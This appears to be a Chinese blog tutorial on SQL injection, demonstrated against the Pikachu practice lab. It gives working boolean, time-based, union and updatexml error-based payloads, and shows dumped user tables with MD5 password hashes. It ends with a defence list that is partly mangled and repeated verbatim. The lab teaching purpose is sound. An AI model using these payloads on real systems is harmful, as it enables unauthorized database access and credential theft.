Java教程

渗透测试之SQL注入漏洞

本文主要是介绍渗透测试之SQL注入漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

文章目录

    • SQL注入
      • SQL盲注
      • **时间盲注**
      • 联合盲注
      • **获取数据库版本和当前操作系统**
      • **尝试获取pikachu数据库中的表名**
      • **根据经验猜测**
      • **尝试获取users表中的字段名**
      • 6.尝试获取用户名和密码
      • sql注入步骤
    • 怎样防御SQL注入漏洞

SQL注入

​ 字符型的注入(加单引号)和 数字型的注入

1' or 1=1#

查出所有数据。

SQL盲注

​ 在服务器没有错误回显时完成注入攻击,服务器没有回显,对攻击者来说缺少了重要调试信息,所以攻击者必须找到一个方法验证注入的SQL语句是否被执行。

分类:布尔盲注,时间盲注,

布尔盲注

select *from 表名 where id = x
可以使用经典的 and 1=1 和 and 1=2 
在url中输入http:xxxx/abc.php?id=x and 1=1  看页面是否正常运行

在url中输入http:xxxx/abc.php?id=x and 1=2  看页面是否报错
例子
http://localhost/pikachu-master/vul/sqli/sqli_blind_b.phpname=kobe%27+and+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2
kobe' and 1=1#

kobe' and 1=2#

kobe’ and(length(database())>5)# 尝试获取数据库名的长度

kobe’ and(length(database())>7)# 错误 不大于7 大于5那么长度就是5;

时间盲注

​ 基于布尔盲注,结合if判断和sleep()函数来得到一个时间上的变换延迟的参照。

and if(length(database())>5,0)

kobe' and if(length(database())>5,sleep(5),0)#   

联合盲注

猜字段,猜数据库名字

## 猜测查询的字段数
kobe' order by 1#    
kobe' order by 2#
kobe' order by 3#

##Unknown column '3' in 'order clause'

Unknown column ‘3’ in ‘order clause’ 表面一共有两个字段。

猜测数据库名字 union select联合查询继续获取信息。

要求 :两个表的列数一样。 union运算符可以将两个以上的select语句的查询结果集合合并成一个结果集合显示。

kobe' union select database(),user()#
结果:获得额外的结果
your uid:3
your email is: kobe@pikachu.com

your uid:pikachu
your email is: root@localhost

获取数据库版本和当前操作系统

kobe' union select version(),@@version_compile_os#

your uid:3
your email is: kobe@pikachu.com

your uid:5.7.26
your email is: Win64

尝试获取pikachu数据库中的表名

	该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库

##  1.是用来凑数的,因为有两个字段。
kobe ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

执行结果:

your uid:3

your email is: kobe@pikachu.com

your uid:1
your email is: httpinfo,member,message,users,xssblind

根据经验猜测

## 有经验的黑客会去猜测数据库的表明
## 猜测存在 users,所以输入
kobe' union select 1,2 from users#
kobe' and exists(select * from users)#

尝试获取users表中的字段名

## 1 为了凑2个字段
kobe' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
数据库是当前数据库  表面位users

结果:

your uid:1
your email is: id,username,password,level

6.尝试获取用户名和密码

kobe' union select username,password from users#

执行结果:

your uid:admin
your email is: e10adc3949ba59abbe56e057f20f883e

your uid:pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd

your uid:test
your email is: e99a18c428cb38d5f260853678922e03

​ 成功获得了用户名和密码,一共两个字段。但是这个密码采取了md5加密。

数字型注入

用fiddler抓包 用向上的断点抓取请求,修改参数位 1 or 1=1# 查询到所有信息

结果为:

hello,vince
your email is: vince@pikachu.com

hello,allen
your email is: allen@pikachu.com

hello,kobe
your email is: kobe@pikachu.com

hello,grady
your email is: grady@pikachu.com

hello,kevin
your email is: kevin@pikachu.com

hello,lucy
your email is: lucy@pikachu.com

hello,lili
your email is: lili@pikachu.com

​ 在注册是进行sql注入。网站返回的是数据库的报错信息,因此可以进行报错注入。

## 1 为参数  第二个参数为具体的节点。 要拿到数据库的名字。
kobe' or updatexml(1,concat(0x7e,database()),1) or'

执行结果:XPATH syntax error: ‘~pikachu’

0' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' )),0) or '

sql注入步骤

​ 判断注入点,判断字段数,判断回显点,查询相关内容。

怎样防御SQL注入漏洞

​ 1.使用参数化的过滤性语句。

​ 参数化:where name =? java开发后端时使用PreparedStatement ,字符串拼接就是非参数化。 在使用mybatis框架时减少 的 使 用 , 非 必 要 不 使 用 的使用,非必要不使用 的使用,非必要不使用,使用#替代。。

​ 2.输入验证。

​ 敏感命令过滤

​ 3.错误消息处理

​ 敏感信息不显示

​ 4.加密处理,md5是最基本的可以再加一个随机字符处理

​ 5.存储过程来执行所有的查询

​ 6.使用专业的漏洞扫描工具

​ 7.确保数据库安全

? java开发后端时使用PreparedStatement ,字符串拼接就是非参数化。 在使用mybatis框架时减少 的 使 用 , 非 必 要 不 使 用 的使用,非必要不使用 的使用,非必要不使用,使用#替代。。

​ 2.输入验证。

​ 敏感命令过滤

​ 3.错误消息处理

​ 敏感信息不显示

​ 4.加密处理,md5是最基本的可以再加一个随机字符处理

​ 5.存储过程来执行所有的查询

​ 6.使用专业的漏洞扫描工具

​ 7.确保数据库安全

这篇关于渗透测试之SQL注入漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!